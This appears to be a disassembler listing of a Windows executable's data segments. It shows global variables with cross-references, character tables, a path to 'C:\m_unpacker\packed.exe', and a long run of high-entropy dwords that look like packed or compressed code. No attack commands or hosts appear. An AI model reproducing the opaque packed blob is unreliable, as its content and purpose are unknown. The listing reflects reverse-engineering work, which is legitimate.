dword_4416D4 dd 0 ; DATA XREF: sub_4024D0+E0w
; sub_405A96+7Ew ...
dword_4416D8 dd 0 ; DATA XREF: sub_407CBD+11Ew
; sub_407EA5+53r ...
dword_4416DC dd 0 ; DATA XREF: sub_406048+260w
; sub_4071B6+11Fw ...
byte_4416E0 db 0 ; DATA XREF: sub_40CA58+91o
; sub_40CD3A+318Dr ...
align 4
dd 101Bh dup(0)
dword_445750 dd 949Ah dup(0) ; DATA XREF: seg001:off_42694Co
dword_46A9B8 dd 0 ; DATA XREF: sub_407075:loc_4070E3r
; sub_40C574+47w ...
align 10h
dword_46A9C0 dd 0 ; DATA XREF: sub_40C574:loc_40C96Ao
dword_46A9C4 dd 20h dup(0) ; DATA XREF: sub_40C574+38Eo
; sub_40C574+447o ...
dword_46AA44 dd 10h dup(0) ; DATA XREF: sub_40C574+3A5o
; sub_40CD3A+8D4o
dword_46AA84 dd 24h dup(0) ; DATA XREF: sub_40C574+3BCo
dword_46AB14 dd 0 ; DATA XREF: sub_40C574+3B0w
; sub_40C574+45Ew ...
dword_46AB18 dd 0 ; DATA XREF: sub_40C574+3CFw
dd 2 dup(0)
dword_46AB24 dd 0 ; DATA XREF: sub_40C574+147r
dword_46AB28 dd 0 ; DATA XREF: sub_40CA58+72r
; sub_40CD3A+268r
byte_46AB2C db 0 ; DATA XREF: sub_40CBBE+28r
; sub_40CBBE+30o
byte_46AB2D db 3 dup(0) ; DATA XREF: sub_40282F+9Fo
dword_46AB30 dd 0 ; DATA XREF: sub_40C574+3FBw
; sub_40C574+412r ...
dword_46AB34 dd 0 ; DATA XREF: sub_40C574+393w
; sub_40CD3A+878r
dword_46AB38 dd 18h dup(0) ; DATA XREF: sub_412D95:loc_412EB2o
; sub_412D95+131o ...
dword_46AB98 dd 8 dup(0) ; DATA XREF: sub_413B27+7Co
; sub_413B27+A5o
dword_46ABB8 dd 0 ; DATA XREF: sub_41501C+16o
; sub_41503B+19o
dword_46ABBC dd 77h dup(0) ; DATA XREF: sub_414FCF+3Do
dword_46AD98 dd 0 ; DATA XREF: sub_413112+45w
; sub_413112+4Dr ...
align 10h
dword_46ADA0 dd 18h dup(0) ; DATA XREF: sub_4139F3:loc_413B15o
; sub_4139F3+12Do
dword_46AE00 dd 80h dup(0) ; DATA XREF: sub_413053+4Bo
; sub_413053+7Do ...
byte_46B000 db 0 ; DATA XREF: sub_413112+29r
; sub_413112+34w
align 8
dword_46B008 dd 80h dup(0) ; DATA XREF: sub_413369+61o
; sub_413369+88o ...
dword_46B208 dd 80h dup(0) ; DATA XREF: sub_412C6C+33o
; sub_412C6C+50o ...
dword_46B408 dd 80h dup(0) ; DATA XREF: sub_4142E2+8Do
byte_46B608 db 0 ; DATA XREF: sub_414CD9+64r
; sub_414CD9+92w
align 10h
dword_46B610 dd 0 ; DATA XREF: sub_415DD3+Aw
align 8
dword_46B618 dd 0 ; DATA XREF: sub_41697B+5Er
; sub_41697B+A4w
align 10h
word_46B620 dw 0 ; DATA XREF: sub_41697B+55r
; sub_41697B+9Ao
word_46B622 dw 0 ; DATA XREF: sub_41697B+48r
db 2 dup(0)
word_46B626 dw 0 ; DATA XREF: sub_41697B+3Br
word_46B628 dw 0 ; DATA XREF: sub_41697B+2Er
word_46B62A dw 0 ; DATA XREF: sub_41697B+21r
align 10h
dword_46B630 dd 0 ; DATA XREF: sub_416B3F+3Br
; sub_416B3F+91w
dword_46B634 dd 0 ; DATA XREF: sub_416728+1B9w
; sub_416CDE:loc_416D5Aw ...
dword_46B638 dd 0 ; DATA XREF: sub_417729+35w
; sub_4185EB:loc_418685w ...
dword_46B63C dd 0 ; DATA XREF: sub_41DDF6+13Ar
dword_46B640 dd 0A28h ; DATA XREF: seg001:00417B6Aw
dword_46B644 dd 501h ; DATA XREF: seg001:00417B61w
dword_46B648 dd 5 ; DATA XREF: seg001:00417B56w
dword_46B64C dd 1 ; DATA XREF: seg001:00417B48w
dword_46B650 dd 1 ; DATA XREF: sub_40C574:loc_40C852r
; sub_41D170+91w
dword_46B654 dd 340B20h ; DATA XREF: sub_40C574+2E7r
; sub_40C574+307r ...
dd 0
dword_46B65C dd 340B48h ; DATA XREF: sub_41D0B7+44w
; sub_41FCDD+9r ...
dword_46B660 dd 0 ; DATA XREF: sub_4203C1+36r
dword_46B664 dd 0 ; DATA XREF: sub_41FCDD+16r
; sub_4200AB+4r ...
dd 0
off_46B66C dd offset aCM_unpackerPac ; DATA XREF: sub_41D170+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_46B674 db 0 ; DATA XREF: sub_417869+2Dw
; sub_41DA17+5r
align 4
dword_46B678 dd 0 ; DATA XREF: sub_417869+27w
dword_46B67C dd 0 ; DATA XREF: sub_417869+4r
; sub_417869+8Bw
dword_46B680 dd 0 ; DATA XREF: seg001:00417B9Cw
; sub_41D0B7:loc_41D0C9r ...
align 8
dword_46B688 dd 0 ; DATA XREF: sub_417C0Er sub_417C33r ...
dword_46B68C dd 0 ; DATA XREF: sub_4187D6+37r
dd 0
dword_46B694 dd 0 ; DATA XREF: sub_415BE9r
; sub_41737F:loc_41749Br ...
dword_46B698 dd 0 ; DATA XREF: sub_418A88r
dword_46B69C dd 0 ; DATA XREF: sub_419956+4Bw
; sub_419A6F+2Dw ...
dword_46B6A0 dd 0 ; DATA XREF: sub_41A8A1+11r
; sub_41A9A5+1Ar ...
byte_46B6A4 db 0 ; DATA XREF: sub_41A8A1+3r
; sub_41A8A1+98r ...
align 4
dword_46B6A8 dd 0 ; DATA XREF: sub_41A9A5+11r
; sub_41AA83+21w ...
byte_46B6AC db 0 ; DATA XREF: sub_41AA83+51w
align 10h
dword_46B6B0 dd 0 ; DATA XREF: sub_41AC79+4Er
; sub_41B054+3Ar ...
dword_46B6B4 dd 0 ; DATA XREF: sub_41AC79+5Cr
; sub_41B054+43r ...
dword_46B6B8 dd 0 ; DATA XREF: sub_41605A+7Ar
; sub_41AE20+5r
dword_46B6BC dd 0 ; DATA XREF: sub_41B42C+29r
dword_46B6C0 dd 1 ; DATA XREF: sub_41C639+28r
; sub_41C639+4Cw ...
dd 2 dup(0)
dword_46B6CC dd 0 ; DATA XREF: sub_417033+4r
; sub_417033+9Dr ...
dd 3 dup(0)
dword_46B6DC dd 0 ; DATA XREF: sub_417A19+61r
; sub_417A19+BFr ...
dd 0
dword_46B6E4 dd 1 ; DATA XREF: sub_41C85D:loc_41C9D8r
; sub_41C9F6+4w ...
dword_46B6E8 dd 0 ; DATA XREF: sub_41CEDB+3Ar
; sub_41CEDB+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D170:loc_41D187o
; seg001:off_46B66Co
align 4
dd 3Ah dup(0)
dword_46B7F0 dd 1 ; DATA XREF: sub_41D3BD+2r
; sub_41D3BD+23w ...
dword_46B7F4 dd 0 ; DATA XREF: sub_41D77C+21r
dword_46B7F8 dd 0 ; DATA XREF: sub_4187D6:loc_4187FFw
; sub_4188A0+154w ...
dword_46B7FC dd 1 ; DATA XREF: sub_41DA93+26r
; sub_41DA93:loc_41DAFDw
dword_46B800 dd 0 ; DATA XREF: sub_4188A0+7r
align 8
word_46B808 dw 0 ; DATA XREF: sub_41E67B+1Ao
; sub_41E67B+46r
byte_46B80A db 0 ; DATA XREF: sub_41E67B+39r
align 4
dword_46B80C dd 7 dup(0) ; DATA XREF: sub_41E67B+52o
dword_46B828 dd 0 ; DATA XREF: sub_41E67B+40w
; sub_41E67B+5Co
dword_46B82C dd 0 ; DATA XREF: sub_41E67B+4Dw
dword_46B830 dd 0 ; DATA XREF: sub_41E67B+31w
dword_46B834 dd 0 ; DATA XREF: sub_41E67B+52w
dword_46B838 dd 77C26E79h ; DATA XREF: sub_41E79E:loc_41E7C1r
; sub_41E79E+38r ...
align 10h
dword_46B840 dd 0 ; DATA XREF: sub_41EA02+11w
; sub_41EA02+63w ...
align 8
dword_46B848 dd 0 ; DATA XREF: sub_41EA02+33o
; sub_41EA02+46r
dword_46B84C dd 10h dup(0) ; DATA XREF: sub_41EA02+C1o
word_46B88C dw 0 ; DATA XREF: sub_41EC60+A8r
word_46B88E dw 0 ; DATA XREF: sub_41EA02+54r
; sub_41EC60+DBr ...
word_46B890 dw 0 ; DATA XREF: sub_41EC60+CAr
word_46B892 dw 0 ; DATA XREF: sub_41EC60+D3r
; sub_41EC60:loc_41ED52r
word_46B894 dw 0 ; DATA XREF: sub_41EC60+C0r
word_46B896 dw 0 ; DATA XREF: sub_41EC60+B8r
word_46B898 dw 0 ; DATA XREF: sub_41EC60+B0r
word_46B89A dw 0 ; DATA XREF: sub_41EC60+9Er
dword_46B89C dd 0 ; DATA XREF: sub_41EA02+4Br
dword_46B8A0 dd 10h dup(0) ; DATA XREF: sub_41EA02+FBo
word_46B8E0 dw 0 ; DATA XREF: sub_41EC60+46r
word_46B8E2 dw 0 ; DATA XREF: sub_41EA02:loc_41EA79r
; sub_41EC60+78r ...
word_46B8E4 dw 0 ; DATA XREF: sub_41EC60+67r
word_46B8E6 dw 0 ; DATA XREF: sub_41EC60+70r
; sub_41EC60:loc_41ECE4r
word_46B8E8 dw 0 ; DATA XREF: sub_41EC60+5Dr
word_46B8EA dw 0 ; DATA XREF: sub_41EC60+55r
word_46B8EC dw 0 ; DATA XREF: sub_41EC60+4Dr
word_46B8EE dw 0 ; DATA XREF: sub_41EC60+3Er
dword_46B8F0 dd 0 ; DATA XREF: sub_41EA02+80r
dword_46B8F4 dd 0 ; DATA XREF: sub_41EA02+132r
; sub_41EA02:loc_41EB4Er ...
dword_46B8F8 dd 0 ; DATA XREF: sub_41E9EDr sub_41E9ED+Ew
dword_46B8FC dd 0 ; DATA XREF: sub_41EF8E+3r
; sub_41EF8E+2Ew ...
dword_46B900 dd 0 ; DATA XREF: sub_41EF8E+43w
; sub_41EF8E:loc_41EFDDr
dword_46B904 dd 0 ; DATA XREF: sub_41EF8E+4Aw
; sub_41EF8E+60r
dword_46B908 dd 0 ; DATA XREF: sub_41DDF6+3Fr
dword_46B90C dd 0 ; DATA XREF: sub_41FB6B:loc_41FBD2r
; sub_41FB6B+6Do
dword_46B910 dd 0 ; DATA XREF: sub_41FB6B:loc_41FBA9r
; sub_41FB6B+44o
dword_46B914 dd 0 ; DATA XREF: sub_41FB6B:loc_41FB9Cr
; sub_41FB6B+37o
dword_46B918 dd 0 ; DATA XREF: sub_41FB6B:loc_41FBB6r
; sub_41FB6B+51o
align 10h
dword_46B920 dd 0 ; DATA XREF: sub_420119+28r
; sub_420119+48w ...
byte_46B924 db 1 ; DATA XREF: sub_404EA5r sub_404EA5+9w ...
align 4
dword_46B928 dd 341110h ; DATA XREF: sub_418769:loc_41877Ar
; sub_418A10+14r ...
dd 5 dup(0)
dword_46B940 dd 400h dup(0) ; DATA XREF: seg001:off_43A638o
; seg001:0043A640o
dword_46C940 dd 200h ; DATA XREF: sub_418769+9r
; sub_418769+56r ...
dd 7 dup(0)
dword_46C960 dd 340650h ; DATA XREF: sub_417C57+B1r
; sub_41C178+75r ...
dword_46C964 dd 3Fh dup(0) ; DATA XREF: sub_41D4EF+92o
dword_46CA60 dd 20h ; DATA XREF: sub_4185EB+8r
; sub_41C251+Cr ...
dword_46CA64 dd 4E4h ; DATA XREF: sub_41C85D+14r
; sub_41C85D+65w ...
align 10h
dword_46CA70 dd 3 dup(0) ; DATA XREF: sub_41C85D+123o
; sub_41C85D+171o ...
dword_46CA7C dd 0 ; DATA XREF: sub_41C85D+108w
; sub_41C85D+15Dw ...
byte_46CA80 db 0 ; DATA XREF: sub_41CA9C:loc_41CBA8w
; sub_41CA9C:loc_41CBC5w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_46CB80 db 0 ; DATA XREF: sub_41C85D+5Co
; sub_41C85D+AFo ...
byte_46CB81 db 0 ; DATA XREF: sub_4171E8+5Dr
; sub_41C85D+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_46CC84 dd 0 ; DATA XREF: sub_41C85D+6Ew
; sub_41C85D+12Bw ...
dword_46CC88 dd 0 ; DATA XREF: sub_418C75+3Cw
; sub_41931A+5r ...
dword_46CC8C dd 0 ; DATA XREF: sub_418CE8+23Ar
; sub_418CE8+25Ar ...
dword_46CC90 dd 0 ; DATA XREF: sub_418C75+31w
; sub_418CE8+311w ...
dword_46CC94 dd 0 ; DATA XREF: sub_418C75+21w
; sub_418CE8+22Dr ...
dword_46CC98 dd 0 ; DATA XREF: sub_418C75+28w
; sub_418CBDr ...
dword_46CC9C dd 0 ; DATA XREF: sub_418C75+15w
; sub_418CBD+8r ...
dword_46CCA0 dd 0 ; DATA XREF: sub_415C27+Fr
; sub_41737F+5Cr ...
dword_46CCA4 dd 340000h ; DATA XREF: sub_415C27+66r
; sub_415C9B+5Ar ...
dword_46CCA8 dd 1 ; DATA XREF: sub_415C27r sub_415C9B+Cr ...
dword_46CCAC dd 142340h ; DATA XREF: seg001:00417B92w
; sub_41D05F+Fr ...
dword_46CCB0 dd 1 ; DATA XREF: sub_41D0B7+ADw
; sub_41FCDDr
dword_46CCB4 dd 1 ; DATA XREF: sub_41CC21r
; sub_41CC21+11w ...
dword_46CCB8 dd 340764h ; DATA XREF: sub_416663+13r
; sub_416663:loc_4166A5r ...
dword_46CCBC dd 340758h ; DATA XREF: sub_416663+1r
; sub_416663+Cr ...
byte_46CCC0 db 1 ; DATA XREF: sub_4209C4+15r
; sub_4209C4+1Ew
align 400h
seg001 ends
; Section 2. (virtual address 0006D000)
; Virtual size : 0001B000 ( 110592.)
; Section size in file : 0001B000 ( 110592.)
; Offset to raw data for section: 0006D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg002 segment para public 'DATA' use32
assume cs:seg002
;org 46D000h
dd 3 dup(0)
dd 154h, 6D028h, 5 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 7 dup(0)
dd 0EC8B1C55h, 4948E81h, 45013C1Ch, 0B9575608h, 1501C3A5h
dd 6CBD8DF0h, 0F3C5FFFDh, 3380C7F4h, 1200290h, 150E297Eh
dd 142104Ch, 4335E850h, 858D1C83h, 3C7CFE74h, 88A10FDDh
dd 0D06FFDF4h, 394E883h, 6C1B5A62h, 0E56807FBh, 0B0330E30h
dd 0F63300B0h, 3920C483h, 0EAF87275h, 0E51CA456h, 3A44F4F1h
dd 0B554481Fh, 44E80D6Dh, 4A944E1Bh, 6C981F14h, 0EBC59FDCh
dd 1A0470B5h, 590E4049h, 1183562Ah, 5E5F1448h, 9884CAB2h
dd 6A575380h, 73DB330Eh, 0AFC05059h, 88A5C34Dh, 0D0E4C9Dh
dd 4C66ABF3h, 447C8AAAh, 27168FDh, 38CC1588h, 850643C4h
dd 520774C0h, 23C9E937h, 5747FF70h, 0ED68E253h, 36AD651h
dd 408802C9h, 831DC5F8h, 4589017Ch, 0A0840FE0h, 6A343A0h
dd 46AC04Dh, 530F3651h, 597D8950h, 91193440h, 0B940793Ah
dd 0C7660F14h, 0B159A845h, 8B319F54h, 286A08C3h, 0AA763966h
dd 0C6AC3BF9h, 1652CC3Ch, 28982541h, 0D07D08CEh, 0C6D25D80h
dd 880D432h, 1906D533h, 0DC5029D6h, 0EE433024h, 4150F0E8h
dd 0B70E0FDBh, 0F2B999C0h, 0F9F78242h, 681B9052h, 34561978h
dd 90EC4112h, 0D889501Eh, 0F01C482Ch, 0E810ACC3h, 0C94BC7Dh
dd 0B3FDCD1Ch, 1F49809h, 0EB02F9A8h, 0A0CC6854h, 61471C3Fh
dd 38EB10C1h, 0F43BFA68h, 7CF62528h, 3FF9E9D0h, 89DE6199h
dd 6EF9F455h, 13020E42h, 0D21ADA90h, 0EE2801Fh, 5588D107h
dd 400568C7h, 0F8869018h, 8FACA550h, 0B8CF8DFAh, 0FE33C1D5h
dd 2B551006h, 0E4229B8Ah, 61EA9F3Fh, 3E06BC13h, 240E9918h
dd 19B952B8h, 8103D56Bh, 5E146A36h, 33F75513h, 0C8CAC470h
dd 0B4FC6F3Dh, 0E804D305h, 812103E9h, 112BFFC2h, 0EC9F5D52h
dd 0E443E7D2h, 0BDC1F88Bh, 15DDAA0Ch, 0A457F40Bh, 2C1CAA1Ch
dd 0FF0CBAF9h, 66500692h, 0D840200Eh, 0E5660DCh, 905D888Ch
dd 691A3A0h, 30929985h, 880C94D8h, 6A267398h, 4C885D20h
dd 0CE88DFFh, 0EC248CEFh, 866C2356h, 8840FB22h, 0CF346A1Dh
dd 287CE01Ch, 46FC643Bh, 342124CCh, 210B40D8h, 48C79160h
dd 8CF14912h, 8A581E53h, 4C44AB41h, 9A812846h, 898DD618h
dd 0D1B24092h, 106A2D40h, 2DAE53FCh, 42E026A1h, 536CB8B2h
dd 45467462h, 20484710h, 3BE83EC0h, 127FC881h, 65CA8C0Fh
dd 0E41C9019h, 8214C43Eh, 75510CBEh, 26EC3812h, 0B4200E5Eh
dd 0C38B07C4h, 4CC95B5Fh, 228BE818h, 682C0CE9h, 3F67718Ch
dd 1109F21Dh, 9C95188Eh, 0A488515h, 1953C116h, 2024DEDDh
dd 8B4D865Fh, 181265C4h, 80B1E587h, 0B470144h, 68D86FCFh
dd 907FA875h, 0A475D442h, 57024070h, 5360A590h, 848D2C39h
dd 100B932h, 85E85650h, 0C5A0A6FCh, 750644A4h, 0FF484001h
dd 0E678C823h, 2C90B0FFh, 6292C35Bh, 44E603BCh, 686AD1C5h
dd 45889695h, 66BAAA44h, 70434C68h, 66484D58h, 9C98890Dh
dd 0D4B30299h, 0FC0571C5h, 0C12C5F75h, 3811FB44h, 407E0832h
dd 0DBC1333Eh, 0DC7D390Ch, 0A4573270h, 0D8E9E51Ch, 6E484D9Eh
dd 0FE446232h, 3B171222h, 0AA10FCF2h, 0C875889Bh, 3C5C1AF0h
dd 0C957882Fh, 5BF4CB84h, 57FA169Ah, 2C165350h, 5AF975CDh
dd 31427C79h, 778F0522h, 36169BE2h, 0A3113347h, 4264A63Bh
dd 94537DFEh, 6855296Fh, 9DC4B490h, 46CB1B3Dh, 34B2675Eh
dd 9ACC233Ch, 6AA23C11h, 34F93D64h, 0B8A63DA0h, 2FD99B2h
dd 9511C557h, 8BB187E6h, 69C32935h, 7D95802Ch, 0C2D6FF08h
dd 1EE9F810h, 1C688E48h, 0C63B7ABAh, 42ADB505h, 9900BD9Dh
dd 28A366D4h, 2A42AD6Ah, 22076C1Dh, 48C86E3Dh, 88808270h
dd 1491711Dh, 30741072h, 0F72E69E8h, 0E3C14101h, 9024E908h
dd 1AC80315h, 910D1059h, 15487490h, 18EB2B74h, 8A108CDDh
dd 98AE59EAh, 251DA351h, 0BB78E1FBh, 3CDE1311h, 905B8337h
dd 50158827h, 8DCB137Ch, 0B8887D90h, 2C08F067h, 483A2EAAh
dd 0B37E9591h, 42988288h, 88801510h, 28A990E8h, 144616FFh
dd 13846852h, 2CAA9B22h, 97A539A9h, 5AFF3757h, 165D4AFEh
dd 0F982CFCh, 679F8435h, 28487485h, 60ED242Bh, 0F1F7D233h
dd 0D0088FB0h, 0A2CB860Fh, 25EC452Ch, 6B3287F1h, 0C8803CC0h
dd 1D0AE8C1h, 82D075F7h, 505114E9h, 48CC764Ch, 8AC81508h
dd 0C33F6445h, 883BA110h, 3723FC1Ch, 98CF6214h, 87393F30h
dd 166985A1h, 90778CCAh, 0D3041CEh, 88CD3575h, 4440A0EBh
dd 0C2117E18h, 385AB213h, 0A68738CAh, 0F21464EBh, 0E485882Fh
dd 3B1072ECh, 0F9F0882Bh, 9F077014h, 0E813FD91h, 0EC1CCC0Ch
dd 32802184h, 0C43A9408h, 85EC2818h, 849A7095h, 2848FDECh
dd 10FBF253h, 0B08497C0h, 383027C1h, 44511997h, 11F4C81Eh
dd 5BC8881Bh, 0A2F43CD4h, 208C66F4h, 3B2153B0h, 4BD04F3Ah
dd 289B7B13h, 0B440B220h, 109185E0h, 0E444E222h, 12E881E6h
dd 2EA11E9h, 8B5932F0h, 35CE4D33h, 183AD42Ah, 2D908B4h
dd 0DA66E2B1h, 48C04EE8h, 0F879DE96h, 44C4200Bh, 0D588C014h
dd 0F809843Dh, 8C13F28Bh, 0C1A86E36h, 73E8DC67h, 0AC923939h
dd 4255FECCh, 504B8F39h, 8C8DD0A8h, 0EC24146Ah, 4E5FF080h
dd 21953B57h, 397758ECh, 57CC2184h, 34396662h, 90864B21h
dd 57E010DCh, 349443B2h, 32226043h, 0C3709596h, 5948F38h
dd 0D8EA8846h, 959C38FDh, 0F47CB0C4h, 0DE3F1087h, 3BFC6161h
dd 219439C6h, 20F890C8h, 88BC42A8h, 0BC8855F4h, 37AB4232h
dd 8F95F41Ch, 62A1F29Fh, 20193CECh, 31DCE113h, 4B1A37CDh
dd 420E902Ch, 581C23FDh, 32870440h, 0BC159B2h, 4CA463C0h
dd 2C1C4C6Eh, 89091D46h, 668BCAB0h, 21614323h, 3D8B4260h
dd 0D7FC275Ah, 9649A8A1h, 0F3D59F5h, 66E2B72Ch, 0FBC02216h
dd 278434F0h, 3E1836C7h, 99C2589Dh, 92532375h, 54C3611Dh
dd 0C4CB277Ch, 0C042EDC6h, 0DF0F5711h, 93EF88A1h, 88B84447h
dd 5344345Ch, 0CC70C264h, 85757A14h, 10CE7EA3h, 87749C8h
dd 71D90ED9h, 33DE110Eh, 0FD4E6AA6h, 0A65EC568h, 33CC2171h
dd 2135D808h, 7A64346Eh, 0CF692370h, 346EE2B0h, 0BC1142B1h
dd 0A735F910h, 2C5316E8h, 90ADBE4Ah, 88C120B4h, 0A721085Dh
dd 4DE98D34h, 0C5481D2Bh, 0DC66125Eh, 506C9DC2h, 0C4D667BBh
dd 6D87508h, 5D38DA5Dh, 0DD215ADCh, 2D74DE01h, 0C5A479E8h
dd 0E6C10714h, 156FA608h, 65210343h, 74365B64h, 0A2CE04Ch
dd 0C416EB46h, 71825EE2h, 0E0B26CB2h, 0CCFE8B6Ch, 182F8B48h
dd 285F86E4h, 50C5BC67h, 68D006EBh, 0C3BA421Bh, 5E08E8EAh
dd 23E53E41h, 0A0432CE8h, 4431B4E0h, 0ED5E8DC8h, 0CBB17C3Ah
dd 0F0CDE174h, 0EB02F500h, 21205C53h, 0F42491C4h, 993C4FC2h
dd 40CBC20h, 0CB251E85h, 0F1E5348Bh, 7D1F62A6h, 0EF197AFh
dd 0E11D68F5h, 0F6E2F410h, 0CE0E386h, 0CB789C41h, 0CCFA3754h
dd 0A020F809h, 0A440E0B8h, 0A60D87A5h, 0DA61488Dh, 9DCD9562h
dd 0ED24BBBDh, 80D92466h, 9A8E1E90h, 21D8CE36h, 0F8908173h
dd 7742D434h, 5672B833h, 58656F52h, 45DACC34h, 170D884Dh
dd 0D77233ECh, 482E3960h, 118FDE45h, 0C8D85825h, 9E2EC8BCh
dd 0D5B6A73Ch, 0D720AE47h, 2097D043h, 0BB860F04h, 0D86AFD4Fh
dd 9C22B528h, 0FDC4C2DBh, 11444614h, 5810FBC0h, 32C68433h
dd 0F183CA64h, 101B0B56h, 5BB18FEEh, 2B4E0F30h, 0FD4776E4h
dd 8432F010h, 0BC2CFBC0h, 7E423746h, 0A46D8ACh, 0DD7070C8h
dd 19A7872Fh, 40503EDh
dd 0D256F057h, 15E65C1Ah, 6893EC62h, 0C8855204h, 48705824h
dd 8006F73Ch, 1101382Bh, 44C2C808h, 0A94438CCh, 0C4149322h
dd 85A9407Ch, 400375F6h, 0F77EB02h, 93FC45B7h, 0FA1128D1h
dd 21F84205h, 8AF610F0h, 2818EAF2h, 45E85671h, 0AD0C9409h
dd 6728CEE5h, 30C98BDh, 75B2FD75h, 424FCBDh, 0B2C40A55h
dd 146A0E36h, 34D89018h, 8E925394h, 0C0D6914h, 0A009E170h
dd 12332440h, 0CCC95EC0h, 842DC27h, 24A58381h, 725EB3F7h
dd 0FC65C925h, 47C054C2h, 5DBF924h, 245B4638h, 2833A449h
dd 0ABF353C5h, 2FDCFF09h, 0B84DC494h, 1A8469C4h, 4420D796h
dd 84A4BBF0h, 1A086A32h, 11C04A60h, 388A3B23h, 0F2287574h
dd 0A3A0505Ch, 3CCD244Eh, 11C744DEh, 10423C78h, 184F3081h
dd 0B58DD5C7h, 1D8481A4h, 92029682h, 8D8150FCh, 72FE68E8h
dd 53527B74h, 636A323Bh, 0A4C410CAh, 532B8984h, 2BB51542h
dd 4C74485h, 0A5349CDAh, 0C4E8BB5Ah, 0F0BF2A0Fh, 4F78E6ECh
dd 20CD08FCh, 79E48482h, 1145C27Bh, 0A6C661Ch, 0BC831F18h
dd 0D1EB1A7Eh, 8015D540h, 107D5B0Ah, 91BD84C7h, 0DFC2114h
dd 0E0D74E9h, 0C01E242Ch, 2B2E7D0Ah, 490802F9h, 143C478Bh
dd 35110321h, 4211043h, 8D232511h, 5A308B0Dh, 0C7149D30h
dd 9208323h, 74E81338h, 803CE991h, 0D755908h, 6C05A480h
dd 0F2662723h, 0B93D71C4h, 9B257644h, 0B150527Bh, 4A246068h
dd 7E4161EBh, 35850F0Dh, 20541CDBh, 3413E38Ah, 7B2BA8D8h
dd 0AC4C2243h, 499E9A50h, 0D5EC932Eh, 37840AEDh, 22102F2Fh
dd 7EBC92Fh, 7493FE35h, 30A3A14h, 27A0FA0h, 26040540h
dd 89C81A75h, 9C2F07EBh, 83D4C0AEh, 3591E8A0h, 83188CB1h
dd 7481142Ah, 3BCC287Dh, 8C0F0890h, 831FFE33h, 8414FC58h
dd 0C47D29Ah, 0E80B28DCh, 512C2936h, 61B499C4h, 8B02B4B8h
dd 2FB3E822h, 88AF9F05h, 0B324A8A5h, 0F24CAA20h, 89C658B6h
dd 0B20B8840h, 0A6B98424h, 3342D582h, 180756F6h, 2E87D456h
dd 46401C97h, 4CBA6456h, 0E60445E3h, 0B27B62E8h, 4A56CBFCh
dd 9EB6500Ch, 0F88B610Fh, 12FC5483h, 844FE391h, 105EFD4Ch
dd 2DB68446h, 7CD87561h, 401A42DCh, 49DCD4E8h, 4CDC99EFh
dd 6A82EFEh, 0C5F5D4EFh, 0DCF48AE4h, 4354F0D0h, 2819D42Bh
dd 6913B8D0h, 5E4034C0h, 16D4B889h, 7C129F44h, 3D80C449h
dd 7E648A99h, 380C08D1h, 5CED085h, 1266918Dh, 73995759h
dd 2ACE8611h, 88857614h, 2CE04524h, 0F80FE13Eh, 2131046Ah
dd 0DC988824h, 0F0832955h, 218445B8h, 475E2CB5h, 89E3844Bh
dd 85874B78h, 0C9A8BB53h, 10F4F7E6h, 540D482Fh, 64A4CBBCh
dd 1C8A1086h, 2D6C1B91h, 86E0C8F5h, 3B55BD80h, 0C5750603h
dd 6458858Bh, 496D1E13h, 2DD85018h, 0B86BB375h, 0A8681814h
dd 31CFC5B0h, 9C8526A9h, 0C3968233h, 505260D0h, 18CA451Fh
dd 474D121Ah, 0AA182691h, 0C8E33ABDh, 6AE925F8h, 6241AA6h
dd 0C40F60CFh, 0A8C490F4h, 548C9726h, 8A0E8BE0h, 7E8B7F04h
dd 6BBBC55h, 988534FFh, 4525AE0Fh, 7EB37660h, 3B35304Eh
dd 21112A7Bh, 88B9B104h, 0AB76E911h, 68857C35h, 5C744518h
dd 19A85722h, 0B55B1210h, 3C98858h, 4F0961D9h, 28C91082h
dd 5834A2E4h, 42426991h, 0D23E6231h, 2E6FDB2h, 4C1B2B47h
dd 0EC88431Ah, 0DC165010h, 7B4B211h, 4F98A166h, 0E011109Ah
dd 1203C4Ch, 1EF82CB5h, 3D658AE4h, 0C645A428h, 91EA95A5h
dd 5836CB2Dh, 228AB0BAh, 91FA5CB4h, 0D72604CFh, 0BE3BEC31h
dd 0D5A38BCh, 3D0190BBh, 0C328F041h, 0A1244424h, 2D081C05h
dd 2446AB20h, 42075098h, 1856FE5Ch, 112FA542h, 62104924h
dd 321A1088h, 10D2593Bh, 3D8BA661h, 0D7A617F0h, 4B7478E5h
dd 0A3C99468h, 90B465BAh, 865F4638h, 0D4841043h, 0A7383D31h
dd 4DC4245h, 0EBC01A32h, 0B5343E22h, 1164C39Ch, 0F431CCF6h
dd 2A01B013h, 7FC8A512h, 0ED34F7B8h, 910954E8h, 511026A1h
dd 0F231AADFh, 5313D214h, 0C67499Ah, 0C8F2B758h, 23046836h
dd 296A24E0h, 0CB006B63h, 0C8054C8Ah, 45A4801Fh, 1EB8B9A4h
dd 66388C88h, 4F64011h, 6AE77C28h, 2D69960h, 31824BB9h
dd 57DA2A13h, 1512C86Fh, 0C00315AAh, 0FF4570ABh, 0F78A9768h
